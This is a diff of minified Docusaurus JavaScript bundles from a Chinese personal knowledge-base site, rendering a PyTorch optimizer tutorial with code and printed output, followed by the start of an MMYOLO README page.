2), requires_grad=True)\n# \u8bbe\u7f6e\u68af\u5ea6\u4e3a\u51681\u77e9\u9635 --\x3e 2 x 2\nweight.grad = torch.ones((2, 2))\n# \u8f93\u51fa\u73b0\u6709\u7684weight\u548cdata\nprint("The data of weight before step:\\n{}".format(weight.data))\nprint("The grad of weight before step:\\n{}".format(weight.grad))\n# \u5b9e\u4f8b\u5316\u4f18\u5316\u5668\noptimizer = torch.optim.SGD([weight], lr=0.1, momentum=0.9)\n# \u8fdb\u884c\u4e00\u6b65\u64cd\u4f5c\noptimizer.step()\n# \u67e5\u770b\u8fdb\u884c\u4e00\u6b65\u540e\u7684\u503c\uff0c\u68af\u5ea6\nprint("The data of weight after step:\\n{}".format(weight.data))\nprint("The grad of weight after step:\\n{}".format(weight.grad))\n# \u6743\u91cd\u6e05\u96f6\noptimizer.zero_grad()\n# \u68c0\u9a8c\u6743\u91cd\u662f\u5426\u4e3a0\nprint("The grad of weight after optimizer.zero_grad():\\n{}".format(weight.grad))\n# \u8f93\u51fa\u53c2\u6570\nprint("optimizer.params_group is \\n{}".format(optimizer.param_groups))\n# \u67e5\u770b\u53c2\u6570\u4f4d\u7f6e\uff0coptimizer\u548cweight\u7684\u4f4d\u7f6e\u4e00\u6837\uff0c\u6211\u89c9\u5f97\u8fd9\u91cc\u53ef\u4ee5\u53c2\u8003Python\u662f\u57fa\u4e8e\u503c\u7ba1\u7406\nprint("weight in optimizer:{}\\nweight in weight:{}\\n".format(id(optimizer.param_groups[0][\'params\'][0]), id(weight)))\n# \u6dfb\u52a0\u53c2\u6570\uff1aweight2\nweight2 = torch.randn((3, 3), requires_grad=True)\noptimizer.add_param_group({"params": weight2, \'lr\': 0.0001, \'nesterov\': True})\n# \u67e5\u770b\u73b0\u6709\u7684\u53c2\u6570\nprint("optimizer.param_groups is\\n{}".format(optimizer.param_groups))\n# \u67e5\u770b\u5f53\u524d\u72b6\u6001\u4fe1\u606f\nopt_state_dict = optimizer.state_dict()\nprint("state_dict before step:\\n", opt_state_dict)\n# \u8fdb\u884c5\u6b21step\u64cd\u4f5c\nfor _ in range(50):\n optimizer.step()\n# \u8f93\u51fa\u73b0\u6709\u72b6\u6001\u4fe1\u606f\nprint("state_dict after step:\\n", optimizer.state_dict())\n# \u4fdd\u5b58\u53c2\u6570\u4fe1\u606f\ntorch.save(optimizer.state_dict(),os.path.join(r"D:\\pythonProject\\Attention_Unet", "optimizer_state_dict.pkl"))\nprint("----------done-----------")\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\nstate_dict = torch.load(r"D:\\pythonProject\\Attention_Unet\\optimizer_state_dict.pkl") # \u9700\u8981\u4fee\u6539\u4e3a\u4f60\u81ea\u5df1\u7684\u8def\u5f84\noptimizer.load_state_dict(state_dict)\nprint("load state_dict successfully\\n{}".format(state_dict))\n# \u8f93\u51fa\u6700\u540e\u5c5e\u6027\u4fe1\u606f\nprint("\\n{}".format(optimizer.defaults))\nprint("\\n{}".format(optimizer.state))\nprint("\\n{}".format(optimizer.param_groups))\n'})}),"\n",(0,s.jsx)(n.h2,{id:"393-\u8f93\u51fa\u7ed3\u679c",children:"3.9.3 \u8f93\u51fa\u7ed3\u679c"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"# \u8fdb\u884c\u66f4\u65b0\u524d\u7684\u6570\u636e\uff0c\u68af\u5ea6\nThe data of weight before step:\ntensor([[-0.3077, -0.1808],\n [-0.7462, -1.5556]])\nThe grad of weight before step:\ntensor([[1., 1.],\n [1., 1.]])\n# \u8fdb\u884c\u66f4\u65b0\u540e\u7684\u6570\u636e\uff0c\u68af\u5ea6\nThe data of weight after step:\ntensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]])\nThe grad of weight after step:\ntensor([[1., 1.],\n [1., 1.]])\n# \u8fdb\u884c\u68af\u5ea6\u6e05\u96f6\u7684\u68af\u5ea6\nThe grad of weight after optimizer.zero_grad():\ntensor([[0., 0.],\n [0., 0.]])\n# \u8f93\u51fa\u4fe1\u606f\noptimizer.params_group is \n[{'params': [tensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]\n\n# \u8bc1\u660e\u4e86\u4f18\u5316\u5668\u7684\u548cweight\u7684\u50a8\u5b58\u662f\u5728\u4e00\u4e2a\u5730\u65b9\uff0cPython\u57fa\u4e8e\u503c\u7ba1\u7406\nweight in optimizer:1841923407424\nweight in weight:1841923407424\n \n# \u8f93\u51fa\u53c2\u6570\noptimizer.param_groups is\n[{'params': [tensor([[-0.4077, -0.2808],\n [-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}, {'params': [tensor([[ 0.4539, -2.1901, -0.6662],\n [ 0.6630, -1.5178, -0.8708],\n [-2.0222, 1.4573, 0.8657]], requires_grad=True)], 'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0}]\n\n# \u8fdb\u884c\u66f4\u65b0\u524d\u7684\u53c2\u6570\u67e5\u770b\uff0c\u7528state_dict\nstate_dict before step:\n {'state': {0: {'momentum_buffer': tensor([[1., 1.],\n [1., 1.]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n# \u8fdb\u884c\u66f4\u65b0\u540e\u7684\u53c2\u6570\u67e5\u770b\uff0c\u7528state_dict\nstate_dict after step:\n {'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n\n# \u5b58\u50a8\u4fe1\u606f\u5b8c\u6bd5\n----------done-----------\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\u6210\u529f\nload state_dict successfully\n# \u52a0\u8f7d\u53c2\u6570\u4fe1\u606f\n{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}\n\n# defaults\u7684\u5c5e\u6027\u8f93\u51fa\n{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}\n\n# state\u5c5e\u6027\u8f93\u51fa\ndefaultdict(, {tensor([[-1.3031, -1.1761],\n [-1.7415, -2.5510]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],\n [0.0052, 0.0052]])}})\n\n# param_groups\u5c5e\u6027\u8f93\u51fa\n[{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [tensor([[-1.3031, -1.1761],\n [-1.7415, -2.5510]], requires_grad=True)]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [tensor([[ 0.4539, -2.1901, -0.6662],\n [ 0.6630, -1.5178, -0.8708],\n [-2.0222, 1.4573, 0.8657]], requires_grad=True)]}]\n\n"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u6bcf\u4e2a\u4f18\u5316\u5668\u90fd\u662f\u4e00\u4e2a\u7c7b\uff0c\u6211\u4eec\u4e00\u5b9a\u8981\u8fdb\u884c\u5b9e\u4f8b\u5316\u624d\u80fd\u4f7f\u7528\uff0c\u6bd4\u5982\u4e0b\u65b9\u5b9e\u73b0\uff1a"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Net(nn.Moddule):\n \xb7\xb7\xb7\nnet = Net()\noptim = torch.optim.SGD(net.parameters(),lr=lr)\noptim.step()\n"})}),"\n",(0,s.jsxs)(n.ol,{start:"2",children:["\n",(0,s.jsxs)(n.li,{children:["optimizer\u5728\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u7684epoch\u4e2d\u9700\u8981\u5b9e\u73b0\u4e0b\u9762\u4e24\u4e2a\u6b65\u9aa4\uff1a\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:"\u68af\u5ea6\u7f6e\u96f6"}),"\n",(0,s.jsx)(n.li,{children:"\u68af\u5ea6\u66f4\u65b0"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"optimizer = torch.optim.SGD(net.parameters(), lr=1e-5)\nfor epoch in range(EPOCH):\n\t...\n\toptimizer.zero_grad() #\u68af\u5ea6\u7f6e\u96f6\n\tloss = ... #\u8ba1\u7b97loss\n\tloss.backward() #BP\u53cd\u5411\u4f20\u64ad\n\toptimizer.step() #\u68af\u5ea6\u66f4\u65b0\n"})}),"\n",(0,s.jsxs)(n.ol,{start:"3",children:["\n",(0,s.jsx)(n.li,{children:"\u7ed9\u7f51\u7edc\u4e0d\u540c\u7684\u5c42\u8d4b\u4e88\u4e0d\u540c\u7684\u4f18\u5316\u5668\u53c2\u6570\u3002"}),"\n"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"from torch import optim\nfrom torchvision.models import resnet18\n\nnet = resnet18()\n\noptimizer = optim.SGD([\n {'params':net.fc.parameters()},#fc\u7684lr\u4f7f\u7528\u9ed8\u8ba4\u76841e-5\n {'params':net.layer4[0].conv1.parameters(),'lr':1e-2}],lr=1e-5)\n\n# \u53ef\u4ee5\u4f7f\u7528param_groups\u67e5\u770b\u5c5e\u6027\n"})}),"\n",(0,s.jsx)(n.h2,{id:"394-\u5b9e\u9a8c",children:"3.9.4 \u5b9e\u9a8c"}),"\n",(0,s.jsx)(n.p,{children:"\u4e3a\u4e86\u66f4\u597d\u7684\u5e2e\u5927\u5bb6\u4e86\u89e3\u4f18\u5316\u5668\uff0c\u6211\u4eec\u5bf9PyTorch\u4e2d\u7684\u4f18\u5316\u5668\u8fdb\u884c\u4e86\u4e00\u4e2a\u5c0f\u6d4b\u8bd5"}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u751f\u6210"}),"\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"a = torch.linspace(-1, 1, 1000)\n# \u5347\u7ef4\u64cd\u4f5c\nx = torch.unsqueeze(a, dim=1)\ny = x.pow(2) + 0.1 * torch.normal(torch.zeros(x.size()))\n"})}),"\n",(0,s.jsxs)(n.p,{children:[(0,s.jsx)(n.strong,{children:"\u6570\u636e\u5206\u5e03\u66f2\u7ebf"}),"\uff1a"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:r(35281).A+"",width:"640",height:"480"})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u7f51\u7edc\u7ed3\u6784"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"class Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.hidden = nn.Linear(1, 20)\n self.predict = nn.Linear(20, 1)\n\n def forward(self, x):\n x = self.hidden(x)\n x = F.relu(x)\n x = self.predict(x)\n return x\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4e0b\u9762\u8fd9\u90e8\u5206\u662f\u6d4b\u8bd5\u56fe\uff0c\u7eb5\u5750\u6807\u4ee3\u8868Loss\uff0c\u6a2a\u5750\u6807\u4ee3\u8868\u7684\u662fStep\uff1a"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{src:r(10618).A+"",width:"640",height:"480"})}),"\n",(0,s.jsx)(n.p,{children:"\u5728\u4e0a\u9762\u7684\u56fe\u7247\u4e0a\uff0c\u66f2\u7ebf\u4e0b\u964d\u7684\u8d8b\u52bf\u548c\u5bf9\u5e94\u7684steps\u4ee3\u8868\u4e86\u5728\u8fd9\u8f6e\u6570\u636e\uff0c\u6a21\u578b\u4e0b\u7684\u6536\u655b\u901f\u5ea6"}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u6ce8\u610f:"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f18\u5316\u5668\u7684\u9009\u62e9\u662f\u9700\u8981\u6839\u636e\u6a21\u578b\u8fdb\u884c\u6539\u53d8\u7684\uff0c\u4e0d\u5b58\u5728\u7edd\u5bf9\u7684\u597d\u574f\u4e4b\u5206\uff0c\u6211\u4eec\u9700\u8981\u591a\u8fdb\u884c\u4e00\u4e9b\u6d4b\u8bd5\u3002"})]})}function c(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(p,{...e})}):p(e)}}}]); \ No newline at end of file diff --git a/assets/js/06a6c4f2.6d0fa863.js b/assets/js/06a6c4f2.6d0fa863.js new file mode 100644 index 0000000..32b0e22 --- /dev/null +++ b/assets/js/06a6c4f2.6d0fa863.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1121],{28453:(e,n,s)=>{s.d(n,{R:()=>t,x:()=>r});var i=s(96540);const l={},h=i.createContext(l);function t(e){const n=i.useContext(h);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:t(e.components),i.createElement(h.Provider,{value:n},e.children)}},38529:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>a,frontMatter:()=>t,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README","title":"MMYOLO\u5b9e\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ViT\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb"},"next":{"title":"model_design.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design"}}');var l=s(74848),h=s(28453);const t={},r="MMYOLO\u5b9e\u73b0",c={},d=[{value:"\u7b80\u4ecb",id:"\u7b80\u4ecb",level:2},{value:"\u6559\u7a0b",id:"\u6559\u7a0b",level:2},{value:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",id:"\u57fa\u51c6\u6d4b\u8bd5\u548c\u6a21\u578b\u5e93",level:2},{value:"\u5e38\u89c1\u95ee\u9898",id:"\u5e38\u89c1\u95ee\u9898",level:2},{value:"\u8d21\u732e\u6307\u5357",id:"\u8d21\u732e\u6307\u5357",level:2},{value:"\u81f4\u8c22",id:"\u81f4\u8c22",level:2},{value:"\u5f15\u7528",id:"\u5f15\u7528",level:2},{value:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",id:"\u5f00\u6e90\u8bb8\u53ef\u8bc1",level:2},{value:"OpenMMLab \u7684\u5176\u4ed6\u9879\u76ee",id:"openmmlab-\u7684\u5176\u4ed6\u9879\u76ee",level:2},{value:"\u6b22\u8fce\u52a0\u5165 OpenMMLab \u793e\u533a",id:"\u6b22\u8fce\u52a0\u5165-openmmlab-\u793e\u533a",level:2}];function o(e){const n={a:"a",b:"b",code:"code",details:"details",div:"div",font:"font",h1:"h1",h2:"h2",header:"header",i:"i",img:"img",input:"input",li:"li",p:"p",pre:"pre",strong:"strong",summary:"summary",sup:"sup",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,h.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"mmyolo\u5b9e\u73b0",children:"MMYOLO\u5b9e\u73b0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.img,{src:"resources/mmyolo-logo.png",width:"600"}),"\n ",(0,l.jsx)(n.div,{children:"\xa0"}),"\n ",(0,l.jsxs)(n.div,{align:"center",children:["\n ",(0,l.jsx)(n.b,{children:(0,l.jsx)(n.font,{size:"5",children:"OpenMMLab \u5b98\u7f51"})}),"\n ",(0,l.jsxs)(n.sup,{children:["\n ",(0,l.jsxs)(n.a,{href:"https://openmmlab.com",children:["\n ",(0,l.jsx)(n.i,{children:(0,l.jsx)(n.font,{size:"4",children:"HOT"})}),"\n "]}),"\n "]}),"\n \xa0\xa0\xa0\xa0\n ",(0,l.jsx)(n.b,{children:(0,l.jsx)(n.font,{size:"5",children:"OpenMMLab \u5f00\u653e\u5e73\u53f0"})}),"\n ",(0,l.jsxs)(n.sup,{children:["\n ",(0,l.jsxs)(n.a,{href:"https://platform.openmmlab.com",children:["\n ",(0,l.jsx)(n.i,{children:(0,l.jsx)(n.font,{size:"4",children:"TRY IT OUT"})}),"\n "]}),"\n "]}),"\n "]}),"\n ",(0,l.jsx)(n.div,{children:"\xa0"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://pypi.org/project/mmyolo",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/pypi/v/mmyolo",alt:"PyPI"})}),"\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/en/latest/",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/docs-latest-blue",alt:"docs"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/actions",children:(0,l.jsx)(n.img,{src:"https://github.com/open-mmlab/mmyolo/workflows/deploy/badge.svg",alt:"deploy"})}),"\n",(0,l.jsx)(n.a,{href:"https://codecov.io/gh/open-mmlab/mmyolo",children:(0,l.jsx)(n.img,{src:"https://codecov.io/gh/open-mmlab/mmyolo/branch/master/graph/badge.svg",alt:"codecov"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/master/LICENSE",children:(0,l.jsx)(n.img,{src:"https://img.shields.io/github/license/open-mmlab/mmyolo.svg",alt:"license"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues",children:(0,l.jsx)(n.img,{src:"https://isitmaintained.com/badge/open/open-mmlab/mmyolo.svg",alt:"open issues"})}),"\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues",children:(0,l.jsx)(n.img,{src:"https://isitmaintained.com/badge/resolution/open-mmlab/mmyolo.svg",alt:"issue resolution"})})]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/",children:"\ud83d\udcd8\u4f7f\u7528\u6587\u6863"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/get_started.html",children:"\ud83d\udee0\ufe0f\u5b89\u88c5\u6559\u7a0b"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/model_zoo.html",children:"\ud83d\udc40\u6a21\u578b\u5e93"})," |\n",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/en/latest/notes/changelog.html",children:"\ud83c\udd95\u66f4\u65b0\u65e5\u5fd7"})," |\n",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/issues/new/choose",children:"\ud83e\udd14\u62a5\u544a\u95ee\u9898"})]}),"\n"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"/docs/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/AI/PyTorch/%E7%AC%AC%E5%8D%81%E7%AB%A0/YOLO%E7%B3%BB%E5%88%97%E8%A7%A3%E8%AF%BB/MMYOLO%E5%AE%9E%E7%8E%B0/",children:"English"})," | \u7b80\u4f53\u4e2d\u6587"]}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u7b80\u4ecb",children:"\u7b80\u4ecb"}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u662f\u4e00\u4e2a\u57fa\u4e8e PyTorch \u548c MMDetection \u7684 YOLO \u7cfb\u5217\u7b97\u6cd5\u5f00\u6e90\u5de5\u5177\u7bb1\u3002\u5b83\u662f ",(0,l.jsx)(n.a,{href:"https://openmmlab.com/",children:"OpenMMLab"})," \u9879\u76ee\u7684\u4e00\u90e8\u5206\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e3b\u5206\u652f\u4ee3\u7801\u76ee\u524d\u652f\u6301 PyTorch 1.6 \u4ee5\u4e0a\u7684\u7248\u672c\u3002\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/45811724/190993591-bd3f1f11-1c30-4b93-b5f4-05c9ff64ff7f.gif"})]}),"\n",(0,l.jsxs)(n.details,{open:!0,children:["\n",(0,l.jsx)(n.summary,{children:"\u4e3b\u8981\u7279\u6027"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u7edf\u4e00\u4fbf\u6377\u7684\u7b97\u6cd5\u8bc4\u6d4b"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u7edf\u4e00\u4e86\u5404\u7c7b YOLO \u7b97\u6cd5\u6a21\u5757\u7684\u5b9e\u73b0, \u5e76\u63d0\u4f9b\u4e86\u7edf\u4e00\u7684\u8bc4\u6d4b\u6d41\u7a0b\uff0c\u7528\u6237\u53ef\u4ee5\u516c\u5e73\u4fbf\u6377\u5730\u8fdb\u884c\u5bf9\u6bd4\u5206\u6790\u3002"}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u4e30\u5bcc\u7684\u5165\u95e8\u548c\u8fdb\u9636\u6587\u6863"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u63d0\u4f9b\u4e86\u4ece\u5165\u95e8\u5230\u90e8\u7f72\u5230\u8fdb\u9636\u548c\u7b97\u6cd5\u89e3\u6790\u7b49\u4e00\u7cfb\u5217\u6587\u6863\uff0c\u65b9\u4fbf\u4e0d\u540c\u7528\u6237\u5feb\u901f\u4e0a\u624b\u548c\u6269\u5c55\u3002"}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6a21\u5757\u5316\u8bbe\u8ba1"})}),"\n",(0,l.jsx)(n.p,{children:"MMYOLO \u5c06\u6846\u67b6\u89e3\u8026\u6210\u4e0d\u540c\u7684\u6a21\u5757\u7ec4\u4ef6\uff0c\u901a\u8fc7\u7ec4\u5408\u4e0d\u540c\u7684\u6a21\u5757\u548c\u8bad\u7ec3\u6d4b\u8bd5\u7b56\u7565\uff0c\u7528\u6237\u53ef\u4ee5\u4fbf\u6377\u5730\u6784\u5efa\u81ea\u5b9a\u4e49\u6a21\u578b\u3002"}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/27466624/199999337-0544a4cb-3cbd-4f3e-be26-bcd9e74db7ff.jpg",alt:"\u57fa\u7c7b"}),"\n \u56fe\u4e3a RangeKing@GitHub \u63d0\u4f9b\uff0c\u975e\u5e38\u611f\u8c22\uff01\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u6559\u7a0b",children:"\u6559\u7a0b"}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u57fa\u4e8e MMDetection \u5f00\u6e90\u5e93\uff0c\u5e76\u4e14\u91c7\u7528\u76f8\u540c\u7684\u4ee3\u7801\u7ec4\u7ec7\u548c\u8bbe\u8ba1\u65b9\u5f0f\u3002\u4e3a\u4e86\u66f4\u597d\u7684\u4f7f\u7528\u672c\u5f00\u6e90\u5e93\uff0c\u8bf7\u5148\u9605\u8bfb ",(0,l.jsx)(n.a,{href:"https://mmdetection.readthedocs.io/zh_CN/latest/get_started.html",children:"MMDetection \u6982\u8ff0"})," \u5bf9 MMDetection \u8fdb\u884c\u521d\u6b65\u5730\u4e86\u89e3\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["MMYOLO \u7528\u6cd5\u548c MMDetection \u51e0\u4e4e\u4e00\u81f4\uff0c\u6240\u6709\u6559\u7a0b\u90fd\u662f\u901a\u7528\u7684\uff0c\u4f60\u4e5f\u53ef\u4ee5\u4e86\u89e3 ",(0,l.jsx)(n.a,{href:"https://mmdetection.readthedocs.io/zh_CN/3.x/",children:"MMDetection \u7528\u6237\u6307\u5357\u548c\u8fdb\u9636\u6307\u5357"})," \u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9488\u5bf9\u548c MMDetection \u4e0d\u540c\u7684\u90e8\u5206\uff0c\u6211\u4eec\u4e5f\u51c6\u5907\u4e86\u7528\u6237\u6307\u5357\u548c\u8fdb\u9636\u6307\u5357\uff0c\u8bf7\u9605\u8bfb\u6211\u4eec\u7684 ",(0,l.jsx)(n.a,{href:"https://mmyolo.readthedocs.io/zh_CN/latest/",children:"\u6587\u6863"})," 